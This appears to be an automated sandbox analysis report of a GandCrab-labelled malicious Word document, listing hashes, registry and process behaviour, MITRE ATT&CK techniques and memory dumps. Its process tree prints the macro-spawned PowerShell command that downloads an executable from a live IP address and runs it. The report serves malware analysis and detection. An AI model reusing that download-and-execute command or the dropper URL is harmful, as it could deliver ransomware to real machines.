e3bd83b61c2deec0f5d6febbfc891be6fc52d2b546bafdf9b182032d845805a8

Analysis

max time kernel
134s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
17-02-2025 20:39

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General

Target

malware-samples-master/2018-04-GandCrab-Swarm/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f.doc
Size

212KB
MD5

16ba8f5d604b4b9a366ae2d5b2107e68
SHA1

878f05a0ddc78db92cd844b5d13be93e7b25f343
SHA256

99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809
SHA512

31544b5590e13df49138c5ae80a6adc9fdce4ea309b856099870b453e9419c8c05f433e18cfdf749a54798468502d21b660a9c9eb2bc02df7da31543d703e873
SSDEEP

6144:FvLzpvvAi+VLE5DnxWCDWSQB2Zye7+rXMl:pzpvv+pE5DxWskrX

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.189.58.222/x.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2276	4948	powershell.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	2276	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2276	powershell.exe
2276	powershell.exe
608	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4948	WINWORD.EXE
4948	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2276	powershell.exe
2276	powershell.exe
608	powershell.exe
608	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	608	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4948	WINWORD.EXE
4948	WINWORD.EXE
4948	WINWORD.EXE
4948	WINWORD.EXE
4948	WINWORD.EXE
4948	WINWORD.EXE
4948	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 2276	4948	WINWORD.EXE	86
PID 4948 wrote to memory of 2276	4948	WINWORD.EXE	86
PID 2276 wrote to memory of 608	2276	powershell.exe	88
PID 2276 wrote to memory of 608	2276	powershell.exe	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malware-samples-master\2018-04-GandCrab-Swarm\99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('http://185.189.58.222/x.exe',([System.IO.Path]::GetTempPath()+'\PHfW.exe'));powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'\PHfW.exe');
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 Start-Process -Filepath C:\Users\Admin\AppData\Local\Temp\\PHfW.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
38e01d05f1a3c204a4b66f6503a154b4

SHA1
1f13df998e49ba099b8142117047ca78c7728826

SHA256
098383f853295ab4ca31292fc72f149c4d737544f973232a84f48ba060076610

SHA512
d4cf12cc636128328bca08bfefdb5cbd3d7e3fa0b9ab8de99734a9af67c18224146000e2a5b79ad3fcfbcef27290e93fcd8f9c0979c8dd95e47e123b479cbed5

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF952.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zsvdsv3p.pry.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
6daa50800837886b4af498e9e2a7bea5

SHA1
a99f092e7f02f059269a696f17f836d9196bb8b1

SHA256
f3ce6bffb3c670bb7d53341bc70b72b0fea9a689cec7d03ee36e1a16bca08d7f

SHA512
df91eb0896bde4e2d4c83072956c5ce2ec7f83fdaeaba96d2fc51ed780d6c03af534ab80107121df1ae26ab2564705a6a157b2e548c1f3210ee4d44172efef86

Download Submit
memory/2276-57-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/2276-90-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/2276-67-0x000001CCA0EC0000-0x000001CCA0EE2000-memory.dmp

Filesize
136KB

Download
memory/4948-9-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-56-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-0-0x00007FFE249D0000-0x00007FFE249E0000-memory.dmp

Filesize
64KB

Download
memory/4948-7-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-12-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-13-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-14-0x00007FFE22830000-0x00007FFE22840000-memory.dmp

Filesize
64KB

Download
memory/4948-15-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-16-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-17-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-19-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-18-0x00007FFE22830000-0x00007FFE22840000-memory.dmp

Filesize
64KB

Download
memory/4948-21-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-22-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-20-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-39-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-54-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-10-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-55-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-11-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-8-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-6-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-2-0x00007FFE249D0000-0x00007FFE249E0000-memory.dmp

Filesize
64KB

Download
memory/4948-77-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-3-0x00007FFE249D0000-0x00007FFE249E0000-memory.dmp

Filesize
64KB

Download
memory/4948-5-0x00007FFE249D0000-0x00007FFE249E0000-memory.dmp

Filesize
64KB

Download
memory/4948-91-0x00007FFE649ED000-0x00007FFE649EE000-memory.dmp

Filesize
4KB

Download
memory/4948-92-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-93-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-94-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-95-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-4-0x00007FFE249D0000-0x00007FFE249E0000-memory.dmp

Filesize
64KB

Download
memory/4948-101-0x00007FFE64950000-0x00007FFE64B45000-memory.dmp

Filesize
2.0MB

Download
memory/4948-1-0x00007FFE649ED000-0x00007FFE649EE000-memory.dmp

Filesize
4KB

Download